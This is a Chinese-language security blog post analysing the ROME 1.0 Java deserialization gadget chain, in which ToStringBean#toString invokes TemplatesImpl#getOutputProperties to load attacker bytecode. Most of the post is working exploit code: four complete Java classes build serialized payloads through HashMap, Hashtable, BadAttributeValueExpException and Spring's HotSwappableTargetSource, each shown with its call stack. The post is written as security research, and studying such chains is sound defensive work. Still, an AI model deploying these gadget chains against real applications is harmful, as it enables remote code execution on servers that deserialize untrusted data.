java反序列化 ROME链

发布时间 2023-12-06 21:59:43作者: Jasper_sec

环境搭建

jdk8u181

<dependencies>
    <dependency>
        <groupId>rome</groupId>
        <artifactId>rome</artifactId>
        <version>1.0</version>
    </dependency>
</dependencies>

利用链分析

ROME反序列链的本质,是组件里的ToStringBean#toString可以任意getter调用。
image.png
image.png
例如调getOutputProperties就是代码执行,于是问题转换成如何调ClassName#toString。
由此,分出许多不同利用链,本质是不同调toString的链子。
下面给出核心调用链,不同的部分在Exp的函数调用栈写明。
ClassLoader#defineClass->
TemplatesImpl#defineClass->
TemplatesImpl#defineTransletClasses->
TemplatesImpl#getTransletInstance->
TemplatesImpl#newTransformer->
TemplatesImpl#getOutputProperties->
ToStringBean#toString->
GadgetsChains#triggerToStringFunction.....

Exp

HashMap

getOutputProperties:507, TemplatesImpl
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:498, Method
toString:137, ToStringBean
toString:116, ToStringBean
beanHashCode:193, EqualsBean
hashCode:176, EqualsBean
hash:339, HashMap
put:612, HashMap
main:26, ROMEHashMap
import Utils.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class ROMEHashMap {
    public static void main(String[] args) throws Exception {

        TemplatesImpl templatesimpl = new TemplatesImpl();
        byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Calc.class"));
        ReflectUtils.setFieldValue(templatesimpl,"_name","Jasper");
        ReflectUtils.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        //        ReflectUtils.setFieldValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);

        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean, "123");

        SerialUtils.serialize(hashMap);
        SerialUtils.unserialize();
    }

}

HashTable

getOutputProperties:507, TemplatesImpl
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:498, Method
toString:137, ToStringBean
toString:116, ToStringBean
beanHashCode:193, EqualsBean
hashCode:110, ObjectBean
put:465, Hashtable
main:28, ROMEHashTable
import Utils.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Hashtable;

public class ROMEHashTable {
    public static void main(String[] args) throws Exception {

        TemplatesImpl templatesimpl = new TemplatesImpl();
        byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Calc.class"));
        ReflectUtils.setFieldValue(templatesimpl,"_name","Jasper");
        ReflectUtils.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
//        ReflectUtils.setFieldValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);

        ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);

        Hashtable hashtable = new Hashtable();
        hashtable.put(objectBean,"123");

        SerialUtils.serialize(hashtable);
        SerialUtils.unserialize();
    }
}

BadAttributeValueExpException

getOutputProperties:507, TemplatesImpl
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:498, Method
toString:137, ToStringBean
toString:116, ToStringBean
readObject:86, BadAttributeValueExpException
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:498, Method
invokeReadObject:1170, ObjectStreamClass
readSerialData:2178, ObjectInputStream
readOrdinaryObject:2069, ObjectInputStream
readObject0:1573, ObjectInputStream
readObject:431, ObjectInputStream
unserialize:31, SerialUtils
main:27, ROMEBadAttributeValueExpException
import Utils.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.nio.file.Files;
import java.nio.file.Paths;

public class ROMEBadAttributeValueExpException {
    public static void main(String[] args) throws Exception {

        TemplatesImpl templatesimpl = new TemplatesImpl();
        byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Calc.class"));
        ReflectUtils.setFieldValue(templatesimpl,"_name","Jasper");
        ReflectUtils.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
//        ReflectUtils.setFieldValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
        ReflectUtils.setFieldValue(badAttributeValueExpException,"val",toStringBean);

        SerialUtils.serialize(badAttributeValueExpException);
        SerialUtils.unserialize();
    }
}

HotSwappableTargetSource

SpringBoot原生toString链,需要加载SpringBoot依赖。

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <parent>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId>
    <version>2.7.17</version>
    <relativePath/> <!-- lookup parent from repository -->
  </parent>
  <groupId>org.example</groupId>
  <artifactId>ROME</artifactId>
  <version>1.0-SNAPSHOT</version>

  <properties>
    <maven.compiler.source>8</maven.compiler.source>
    <maven.compiler.target>8</maven.compiler.target>
  </properties>
  <dependencies>
    <dependency>
      <groupId>rome</groupId>
      <artifactId>rome</artifactId>
      <version>1.0</version>
    </dependency>
    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-web</artifactId>
    </dependency>

    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-test</artifactId>
      <scope>test</scope>
    </dependency>
  </dependencies>
</project>
getOutputProperties:507, TemplatesImpl
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:498, Method
toString:137, ToStringBean
toString:116, ToStringBean
equals:392, XString
equals:103, HotSwappableTargetSource
putVal:635, HashMap
put:612, HashMap
main:29, ROMEHotSwappableTargetSource

import Utils.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;

import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class ROMEHotSwappableTargetSource {
    public static void main(String[] args) throws Exception {

        TemplatesImpl templatesimpl = new TemplatesImpl();
        byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Calc.class"));
        ReflectUtils.setFieldValue(templatesimpl,"_name","Jasper");
        ReflectUtils.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        ReflectUtils.setFieldValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templatesimpl);
        //        toStringBean.toString();

        HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean);
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));

        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(h1,h1);
        hashMap.put(h2,h2);

        //        SerialUtils.serialize(hashMap);
        SerialUtils.unserialize();
    }
}

小结

本质是,如果带了ROME这个组件,可以通过调toString,达到调任意getter的目的。

参考链接

ROME反序列化@枫
ROME反序列化@Ic4_F1ame